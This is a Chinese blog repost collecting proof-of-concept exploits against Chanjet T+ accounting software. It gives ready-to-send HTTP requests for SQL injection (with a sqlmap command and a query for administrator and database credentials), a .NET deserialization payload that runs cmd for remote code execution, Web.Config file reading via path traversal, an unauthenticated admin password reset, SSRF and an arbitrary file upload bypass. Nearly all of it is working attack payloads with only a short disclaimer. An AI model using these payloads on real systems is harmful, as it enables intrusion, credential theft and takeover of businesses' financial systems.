畅捷通漏洞大全集合

2024年3月15日19:26:34评论247 views字数 6057阅读20分11秒阅读模式

一、前台SQL注入漏洞复现（QVD-2023-13612）
chanjet-tplus-checkmutex-sqli

POC1：

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1Host: XXXXXXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: ASP.NET_SessionId=z4uf2zxaxzzew254iwju3fvnContent-Length: 253

畅捷通漏洞大全集合

python sqlmap.py -r url.txt --level 3 --risk 3 --dbs

畅捷通漏洞大全集合

chanjet-tplus-ufida-sqli
POC2:

POST /tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8Cache-Control: no-cacheConnection: keep-aliveContent-Length: 346Content-Type: application/jsonHost: 127.0.0.1Origin: http://127.0.0.1Pragma: no-cacheReferer: http://127.0.0.1/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPasswordUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36

{  "AccountNum":"*",  "UserName":"admin",  "Password":"e10adc3949ba59abbe56e057f20f883e",  "rdpYear":"2022",  "rdpMonth":"2",  "rdpDate":"21",  "webServiceProcessID":"admin",  "ali_csessionid":"",  "ali_sig":"",  "ali_token":"",  "ali_scene":"",  "role":"",  "aqdKey":"",  "formWhere":"browser",  "cardNo":""}

PS：先执行个--sql-shell 然后直接用语句查询 ,即可出来管理员账密+数据库账密。

select * from eap_configpath

二、畅捷通T+ .net反序列化RCE

chanjet-tplus-rce

POC：

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: ASP.NET_SessionId=v0rnaavxoe41hsijum0uc4blUpgrade-Insecure-Requests: 1Content-Length: 594



{  "storeID":{    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",    "MethodName":"Start",    "ObjectInstance":{        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",        "StartInfo": {            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",            "FileName":"cmd", "Arguments":"/c ipconfig > test.txt"        }    }  }}

畅捷通漏洞大全集合

访问http://xxx/tplus/test.txt

畅捷通漏洞大全集合

三、文件读取漏洞
chanjet-tplus-file-read
POC：

http://xxxxxx/tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Config

畅捷通漏洞大全集合

四、用友畅捷通T+ RecoverPassword.aspx 管理员密码修改漏洞
chanjet-tplus-unauth-update

重置账号密码为 admin/123qwe

POC：

POST /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=SetNewPwd HTTP/1.1Host: xxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 45

{"pwdNew":"46f94c8de14fb36680850768ff1b7f2a"}

畅捷通漏洞大全集合

五、前台信息泄露漏洞
POC：

/tplus/ajaxpro/Ufida.T.SM.UIP.Tool.AccountClearControler,Ufida.T.SM.UIP.ashx?method=GetDefaultBackPath

畅捷通漏洞大全集合

六、前台SSRF漏洞
POC:

POST /tplus/ajaxpro/Ufida.T.SM.UIP.UA.AddressSettingController,Ufida.T.SM.UIP.ashx?method=TestConnnect HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8Cache-Control: no-cacheConnection: keep-aliveContent-Length: 36Content-Type: application/jsonHost: xxxxOrigin: xxxxPragma: no-cacheReferer:http://xxxxx/tplus/ajaxpro/Ufida.T.SM.UIP.UA.AddressSettingController,Ufida.T.SM.UIP.ashx?method=TestConnnectUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36

{  "address":"su8hjb.dnslog.cn"}

畅捷通漏洞大全集合

七、文件上传
/tplus/CommonPage/UserFileUpload.aspx 文件中含有UploadUserFile函数导致了鉴权任意文件上传（v17<= 版本可 ?preload=1 绕过）
POC:

http://xxxxx/tplus/CommonPage/UserFileUpload.aspx?preload=1

畅捷通漏洞大全集合

POST /tplus/CommonPage/UserFileUpload.aspx?preload=1 HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------31120366651622657084172305612Content-Length: 873Origin: xxxxConnection: closeReferer: http://xxxxx/tplus/CommonPage/UserFileUpload.aspx?preload=1Cookie: ASP.NET_SessionId=305wnhz0nngmnh5jxb2mxt0t; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1710497388; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1710497548Upgrade-Insecure-Requests: 1

-----------------------------31120366651622657084172305612Content-Disposition: form-data; name="__EVENTTARGET"

btUpLoad-----------------------------31120366651622657084172305612Content-Disposition: form-data; name="__EVENTARGUMENT"



-----------------------------31120366651622657084172305612Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwULLTExMjk2Njk2NjUPFgIeE1ZhbGlkYXRlUmVxdWVzdE1vZGUCARYCAgMPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkZMMPG+xpQF9Tz9ZkXNLkJDcxtSCr0/KejOFiC5BndJai-----------------------------31120366651622657084172305612Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

ACD4EABA-----------------------------31120366651622657084172305612Content-Disposition: form-data; name="myFileUpload"; filename="1.txt"Content-Type: text/plain

333-----------------------------31120366651622657084172305612--

访问url验证

http://xxx/tplus/UserFiles/1.txt

畅捷通漏洞大全集合

原文始发于微信公众号（丁永博的成长日记）：畅捷通漏洞大全集合

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

畅捷通漏洞大全集合

USENIX Sec 2025：大模型越狱防御框架——JBShield

常见弱口令漏洞的发现与防护（文内送常见字典）

PHP反序列化漏洞：一场代码炼金术引发的黑客狂欢

玩转MCP | 一文看懂如何在 Trae IDE 中解锁 MCP

Src捡钱5，为什么大佬总能挖到你挖不到的漏洞（CORS）

deepseek帮你分析为什么挖不到洞

某单位软件供应商黑盒下的0day挖掘

KiloEx的800万是怎么被盗的

Copilot 帮助你快速创建 Forms 随机测验

Base64 编码解决 webshell 命令中有特殊符号导致执行失败

发表评论

在线咨询

微信